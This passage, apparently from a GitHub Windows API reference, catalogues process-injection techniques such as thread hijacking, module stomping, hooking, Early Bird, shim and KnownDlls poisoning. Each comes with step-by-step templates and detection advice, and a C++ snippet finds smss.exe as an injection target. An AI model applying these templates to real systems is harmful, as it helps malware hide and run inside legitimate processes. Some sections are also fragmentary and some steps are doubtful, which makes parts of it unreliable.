    BOOLPostMessageA(HWNDhWnd,UINTMsg,WPARAMwParam,LPARAMlParam);

Template:

  1. Enumerate windows usingEnumWindows andEnumChildWindows
  2. For each window, check for subclassed windows usingEnumProps andGetProp
  3. Open the target process withOpenProcess
  4. Allocate memory in the target process withVirtualAllocEx
  5. Write the malicious code to the allocated memory withWriteProcessMemory
  6. Subclass the window usingSetWindowSubclass
  7. Set a new property withSetPropA to store the payload
  8. Trigger execution by sending a message withPostMessage

Detection and Defense:

  • Monitor for suspicious patterns of window enumeration and subclassing
  • Implement integrity checks for window subclassing
  • Use EDR solutions with capabilities to detect propagate injection techniques
  • Employ behavior-based detection to identify processes with unexpected changes in window subclassing

12. Heap Spray

While not strictly an injection technique, heap spraying is often used in conjunction with other injection methods to facilitate exploit payload delivery. modern browsers and operating systems have implemented mitigations against this.

Key APIs:

  • HeapAlloc
    LPVOIDHeapAlloc(HANDLEhHeap,DWORDdwFlags,SIZE_TdwBytes);
  • VirtualAlloc
    LPVOIDVirtualAlloc(LPVOIDlpAddress,SIZE_TdwSize,DWORDflAllocationType,DWORDflProtect);

Template:

  1. Allocate multiple memory blocks usingHeapAlloc orVirtualAlloc
  2. Fill these blocks with a combination of NOP sleds and the payload
  3. Repeat this process to cover a large portion of the process's address space

Detection and Defense:

  • Implement memory allocation monitoring to detect suspicious patterns
  • Use address space layout randomization (ASLR) to mitigate heap spraying attacks
  • Employ EDR solutions with capabilities to detect heap spraying techniques
  • Implement browser-specific mitigations, such as randomizing heap allocation

13. Thread Execution Hijacking

This technique involves suspending a legitimate thread in a target process, modifying its execution context to point to malicious code, and then resuming the thread. saving and restoring the original thread context required to maintain process stability.

Key APIs:

  • OpenThread (see above)
  • SuspendThread (see above)
  • GetThreadContext (see above)
  • SetThreadContext (see above)
  • VirtualAllocEx (see above)
  • WriteProcessMemory (see above)
  • ResumeThread (see above)

Template:

  1. Open the target thread withOpenThread
  2. Suspend the thread withSuspendThread
  3. Get the thread context withGetThreadContext
  4. Allocate memory in the target process withVirtualAllocEx
  5. Write the malicious code to the allocated memory withWriteProcessMemory
  6. Modify the thread context to point to the injected code withSetThreadContext
  7. Resume the thread withResumeThread

Detection and Defense:

  • Monitor for suspicious patterns of thread suspension and resumption
  • Implement thread execution monitoring to detect unexpected changes in execution flow
  • Use EDR solutions with capabilities to detect thread hijacking techniques
  • Employ runtime analysis to identify unusual thread behavior

14. Module Stomping

This technique overwrites the memory of a legitimate module in the target process with malicious code, potentially bypassing some security checks. detected by integrity checks on loaded modules.

Key APIs:

  • GetModuleInformation
    BOOLGetModuleInformation(HANDLEhProcess,HMODULEhModule,LPMODULEINFOlpmodinfo,DWORDcb);
  • VirtualProtectEx
    BOOLVirtualProtectEx(HANDLEhProcess,LPVOIDlpAddress,SIZE_TdwSize,DWORDflNewProtect,PDWORDlpflOldProtect);
  • WriteProcessMemory (see above)

Template:

  1. Open the target process withOpenProcess
  2. Get information about the target module usingGetModuleInformation
  3. Change the memory protection of the module to writable usingVirtualProtectEx
  4. Overwrite the module's code section with malicious code usingWriteProcessMemory
  5. Restore the original memory protection withVirtualProtectEx

Detection and Defense:

  • Implement module integrity checks to detect modifications to loaded modules
  • Use EDR solutions with capabilities to detect module stomping techniques
  • Employ memory forensics tools to identify signs of module stomping
  • Implement code signing and verification mechanisms for loaded modules

15. IAT Hooking

This technique modifies the Import Address Table (IAT) of a process to redirect function calls to malicious code. detected by comparing the IAT entries with the actual function addresses in the target DLLs.

Key APIs:

  • GetProcAddress
    FARPROCGetProcAddress(HMODULEhModule,LPCSTRlpProcName);
  • VirtualProtect
    BOOLVirtualProtect(LPVOIDlpAddress,SIZE_TdwSize,DWORDflNewProtect,PDWORDlpflOldProtect);

Template:

  1. Locate the IAT of the target process
  2. Identify the function to be hooked
  3. Change the memory protection of the IAT to writable usingVirtualProtect
  4. Replace the original function address with the address of the malicious function
  • Calculate the address of the IAT entry for the target function
  • Read the original function address from the IAT entry
  • Replace the original function address with the address of the malicious function
  1. Restore the original memory protection

Detection and Defense:

  • Implement IAT integrity checks to detect modifications
  • Use EDR solutions with capabilities to detect IAT hooking
  • Employ runtime analysis to identify unexpected function redirections
  • Implement code signing and verification mechanisms for loaded modules

16. Inline Hooking

This technique modifies the first few instructions of a function to redirect execution to malicious code. requires careful handling of multi-byte instructions and relative jumps.

Key APIs:

  • VirtualProtect (see above)
  • memcpy
    void*memcpy(void*dest,constvoid*src,size_tcount);

Template:

  1. Locate the target function in memory
  2. Change the memory protection to writable usingVirtualProtect
  3. Save the original instructions (usually 5 or more bytes)
  4. Overwrite the beginning of the function with a jump to the malicious code
  5. In the malicious code, execute the saved original instructions and then jump back to the original function

Detection and Defense:

  • Implement function integrity checks to detect modifications to function prologues
  • Use EDR solutions with capabilities to detect inline hooking
  • Employ runtime analysis to identify unexpected changes in function execution flow
  • Implement code signing and verification mechanisms for loaded modules

17. Debugger Injection

This technique uses debugging APIs to inject code into a target process. can be detected by anti-debugging checks in the target process.

Key APIs:

Template:

  1. Attach to the target process as a debugger usingDebugActiveProcess
  2. Wait for debug events withWaitForDebugEvent
  3. When a suitable event occurs, inject the malicious code usingWriteProcessMemory
  4. Modify the thread context to execute the injected code
  5. Continue the debug event withContinueDebugEvent

Detection and Defense:

  • Implement anti-debugging techniques in sensitive applications
  • Monitor for suspicious use of debugging APIs
  • Use EDR solutions with capabilities to detect debugger-based injection
  • Employ runtime analysis to identify unexpected debugging events

18. COM Hijacking

This technique involves replacing legitimate COM objects with malicious ones to execute code when the COM object is instantiated. used for persistence, not just for injection.

Key APIs:

  • CoCreateInstance
    HRESULTCoCreateInstance(REFCLSIDrclsid,LPUNKNOWNpUnkOuter,DWORDdwClsContext,REFIIDriid,LPVOID*ppv);
  • RegOverridePredefKey
    LSTATUSRegOverridePredefKey(HKEYhKey,HKEYhNewHKey);

Template:

  1. Create a malicious COM object
  2. Modify the registry to replace the CLSID of a legitimate COM object with the malicious one
  3. When the application callsCoCreateInstance, the malicious object will be instantiated instead

Detection and Defense:

  • Implement COM object integrity checks
  • Monitor for suspicious registry modifications related to COM objects
  • Use application whitelisting to prevent unauthorized COM objects from loading
  • Employ behavior-based detection to identify unexpected COM object instantiation

19. Phantom DLL Hollowing

This technique involves creating a new section in a legitimate DLL and injecting code into it.

Key APIs:

  • LoadLibraryEx
    HMODULELoadLibraryExA(LPCSTRlpLibFileName,HANDLEhFile,DWORDdwFlags);
  • VirtualAlloc
    LPVOIDVirtualAlloc(LPVOIDlpAddress,SIZE_TdwSize,DWORDflAllocationType,DWORDflProtect);
  • VirtualProtect
    BOOLVirtualProtect(LPVOIDlpAddress,SIZE_TdwSize,DWORDflNewProtect,PDWORDlpflOldProtect);

Template:

  1. Load a legitimate DLL usingLoadLibraryEx withDONT_RESOLVE_DLL_REFERENCES flag
  2. Allocate a new memory section usingVirtualAlloc
  3. Copy the malicious code to the new section
  4. Modify the DLL's PE headers to include the new section
  5. Change the memory protection of the new section usingVirtualProtect
  6. Execute the injected code

Detection and Defense:

  • Implement DLL integrity checks to detect modifications
  • Monitor for suspicious patterns of DLL loading and memory allocation
  • Use EDR solutions with capabilities to detect phantom DLL hollowing
  • Employ memory forensics tools to identify signs of DLL manipulation

20. PROPagate

This technique abuses the SetProp/GetProp Windows API functions to achieve code execution.

Key APIs:

  • SetProp
    BOOLSetPropA(HWNDhWnd,LPCSTRlpString,HANDLEhData);
  • GetProp
    HANDLEGetPropA(HWNDhWnd,LPCSTRlpString);
  • EnumPropsEx
    intEnumPropsExW(HWNDhWnd,PROPENUMPROCEXWlpEnumFunc,LPARAMlParam);

Template:

  1. Find a target window usingFindWindow orEnumWindows
  2. Allocate memory for the payload usingVirtualAllocEx
  3. Write the payload to the allocated memory usingWriteProcessMemory
  4. UseSetProp to set a property on the window, with the payload address as the property value
  • Create a custom window procedure that executes the payload
  • UseSetWindowLongPtr to replace the original window procedure with the custom one
  1. Trigger the execution by causing the window to enumerate its properties (e.g., by sending a message that causes a redraw)

Detection and Defense:

  • Monitor for suspicious modifications to window properties
  • Implement integrity checks for window properties
  • Use EDR solutions with capabilities to detect PROPagate techniques
  • Employ behavior-based detection to identify processes with unexpected changes in window properties

21. Early Bird Injection

This technique injects code into a process during its initialization, before the main thread starts executing.

Key APIs:

  • CreateProcess
    BOOLCreateProcessA(LPCSTRlpApplicationName,LPSTRlpCommandLine,LPSECURITY_ATTRIBUTESlpProcessAttributes,LPSECURITY_ATTRIBUTESlpThreadAttributes,BOOLbInheritHandles,DWORDdwCreationFlags,LPVOIDlpEnvironment,LPCSTRlpCurrentDirectory,LPSTARTUPINFOAlpStartupInfo,LPPROCESS_INFORMATIONlpProcessInformation);
  • VirtualAllocEx (see above)
  • WriteProcessMemory (see above)
  • QueueUserAPC (see above)
  • ResumeThread (see above)

Template:

  1. Create a new process in suspended state usingCreateProcess withCREATE_SUSPENDED flag
  2. Allocate memory in the new process usingVirtualAllocEx
  3. Write the payload to the allocated memory usingWriteProcessMemory
  4. Queue an APC to the main thread usingQueueUserAPC, pointing to the payload
  5. Resume the main thread usingResumeThread

Detection and Defense:

  • Monitor for process creation with theCREATE_SUSPENDED flag
  • Implement process initialization monitoring to detect unexpected code execution
  • Use EDR solutions with capabilities to detect Early Bird injection techniques
  • Employ behavior-based detection to identify processes with abnormal initialization patterns

22. Shim-based Injection

This technique leverages the Windows Application Compatibility framework to inject code.

Key APIs:

Template:

  1. Create a shim database usingSdbCreateDatabase
  2. Write shim data to the database, including the payload and target application
  3. Install the shim database usingsdbinst.exe
  4. The payload will be executed when the target application is launched

Detection and Defense:

  • Monitor for suspicious shim database creation and installation
  • Implement application compatibility shim monitoring
  • Use EDR solutions with capabilities to detect shim-based injection techniques
  • Employ whitelisting for approved shims and block unauthorized shim installations

23. Mapping Injection

This technique uses memory-mapped files to inject code into a remote process.

Key APIs:

  • CreateFileMapping
    HANDLECreateFileMappingA(HANDLEhFile,LPSECURITY_ATTRIBUTESlpFileMappingAttributes,DWORDflProtect,DWORDdwMaximumSizeHigh,DWORDdwMaximumSizeLow,LPCSTRlpName);
  • MapViewOfFile
    LPVOIDMapViewOfFile(HANDLEhFileMappingObject,DWORDdwDesiredAccess,DWORDdwFileOffsetHigh,DWORDdwFileOffsetLow,SIZE_TdwNumberOfBytesToMap);
  • NtMapViewOfSection (Undocumented)
    NTSTATUSNTAPINtMapViewOfSection(HANDLESectionHandle,HANDLEProcessHandle,PVOID*BaseAddress,ULONG_PTRZeroBits,SIZE_TCommitSize,PLARGE_INTEGERSectionOffset,PSIZE_TViewSize,SECTION_INHERITInheritDisposition,ULONGAllocationType,ULONGWin32Protect);

Template:

  1. Create a file mapping object usingCreateFileMapping
  2. Map a view of the file into the current process usingMapViewOfFile
  3. Write the payload to the mapped view
  4. UseNtMapViewOfSection to map the view into the target process
  5. Execute the payload in the target process

Detection and Defense:

  • Monitor for suspicious patterns of file mapping and view creation
  • Implement memory mapping monitoring to detect unexpected shared memory usage
  • Use EDR solutions with capabilities to detect mapping injection techniques
  • Employ behavior-based detection to identify processes with abnormal memory-mapped file usage

24. KnownDlls Cache Poisoning

This technique involves replacing a legitimate DLL in the KnownDlls cache with a malicious one.

Key APIs:

  • NtSetSystemInformation (Undocumented)
    NTSTATUSNTAPINtSetSystemInformation(SYSTEM_INFORMATION_CLASSSystemInformationClass,PVOIDSystemInformation,ULONGSystemInformationLength);

Template:

  1. Create a malicious DLL with the same name as a legitimate KnownDlls entry
  2. Create a Section object for the malicious DLL:
    • Use NtCreateSection to create a section object
    • Map a view of the section into memory
    • Write the malicious DLL content to the mapped view
  3. UseNtSetSystemInformation withSystemExtendServiceTableInformation to add the malicious DLL to the KnownDlls cache
  4. The malicious DLL will be loaded instead of the legitimate one by processes

Detection and Defense:

  • Implement KnownDlls integrity checks
  • Monitor for modifications to the KnownDlls cache
  • Use EDR solutions with capabilities to detect KnownDlls cache poisoning
  • Employ whitelisting and code signing verification for DLLs in the KnownDlls cache

Additional Considerations for Detection and Defense

  1. Implement a robust Application Whitelisting strategy to prevent unauthorized executables and DLLs from running.
  2. Use Windows Defender Exploit Guard or similar technologies to enable Attack Surface Reduction (ASR) rules.
  3. Keep systems and software up-to-date with the latest security patches.
  4. Utilize User Account Control (UAC) and principle of least privilege to limit the impact of successful injections.
  5. Implement Network Segmentation to limit lateral movement in case of a successful attack.
  6. Use Runtime Application Self-Protection (RASP) technologies to detect and prevent injection attempts in real-time.
  7. Regularly perform threat hunting activities to proactively search for signs of injection techniques.
  8. Implement and maintain a robust Security Information and Event Management (SIEM) system to correlate and analyze security events.
  9. Conduct regular security awareness training for users to recognize and report suspicious activities.
  10. Perform regular penetration testing and red team exercises to identify vulnerabilities and improve defenses against injection techniques.

Process Enumeration

#include<stdio.h>#include<Windows.h>#include<tlhelp32.h>#include<errhandlingapi.h>// GetLastError#include<heapapi.h>// HeapCreate, HeapAlloc, HeapDestroy#include<strsafe.h>// StringCchPrintf#include<assert.h>#include<tchar.h>voidErrorExit(LPCTSTRlpszFunction);intProcessEnumerateAndSearch(constwchar_t*ProcessName,PROCESSENTRY32*lppe);intPrintProcessInfo(constPROCESSENTRY32*lppe);intPrintProcessInfo(constPROCESSENTRY32*lppe){assert(lppe);wprintf(L"PROCESS : %ls\n",lppe->szExeFile);intPID=static_cast<int>(lppe->th32ProcessID);if (PID==0) {wprintf(L"ERR : Process Not Found.\n");return0;    }wprintf(L"PID : %i\n\n",PID);return1;}voidErrorExit(LPCTSTRfunctionName){    constexprDWORDFLAGS=FORMAT_MESSAGE_ALLOCATE_BUFFER |FORMAT_MESSAGE_FROM_SYSTEM |FORMAT_MESSAGE_IGNORE_INSERTS;    constexprDWORDLANG_ID=MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT);    constexprsize_tEXTRA_CHARS=40;DWORDerrorCode=GetLastError();LPTSTRmessageBuf=nullptr;FormatMessage(FLAGS,NULL,errorCode,LANG_ID, (LPTSTR)&messageBuf,0,NULL);if (messageBuf) {size_tfuncNameLen=_tcslen(functionName);size_tmessageLen=_tcslen(messageBuf);size_tbufSize= (funcNameLen+messageLen+EXTRA_CHARS)*sizeof(TCHAR);LPTSTRdisplayBuf=static_cast<LPTSTR>(LocalAlloc(LMEM_ZEROINIT,bufSize));if (displayBuf) {StringCchPrintf(displayBuf,LocalSize(displayBuf) /sizeof(TCHAR),TEXT("%s failed with error %d: %s"),functionName,errorCode,messageBuf);MessageBox(NULL,displayBuf,TEXT("Error"),MB_OK);LocalFree(displayBuf);        }LocalFree(messageBuf);    }ExitProcess(errorCode);}intProcessEnumerateAndSearch(constwchar_t*ProcessName,PROCESSENTRY32*lppe){assert(ProcessName&&lppe);HANDLEhSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (hSnapshot==INVALID_HANDLE_VALUE)ErrorExit(TEXT("CreateToolhelp32Snapshot"));lppe->dwSize=sizeof(PROCESSENTRY32);if (Process32First(hSnapshot,lppe)== FALSE) {CloseHandle(hSnapshot);ErrorExit(TEXT("Process32First"));    }intpFoundFlag=0;do {size_twcProcessName=wcslen(ProcessName);if (wcsncmp(lppe->szExeFile,ProcessName,wcProcessName)==0) {if (!PrintProcessInfo(lppe))continue;pFoundFlag=1;break;        }    }while (Process32Next(hSnapshot,lppe));CloseHandle(hSnapshot);returnpFoundFlag;}intmain(intargc,char**argv){wchar_tpName[]=L"smss.exe";// process name we will be injectingPROCESSENTRY32lppe= {0 };if (ProcessEnumerateAndSearch(pName,&lppe)) {// do some stuff    }else {return1;    }return0;}

About

A reference of Windows API function calls, including functions for file operations, process management, memory management, thread management, dynamic-link library (DLL) management, synchronization, interprocess communication, Unicode string manipulation, error handling, Winsock networking operations, and registry operations.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Sponsor this project

    Packages

    No packages published

    [8]ページ先頭

    ©2009-2025 Movatter.jp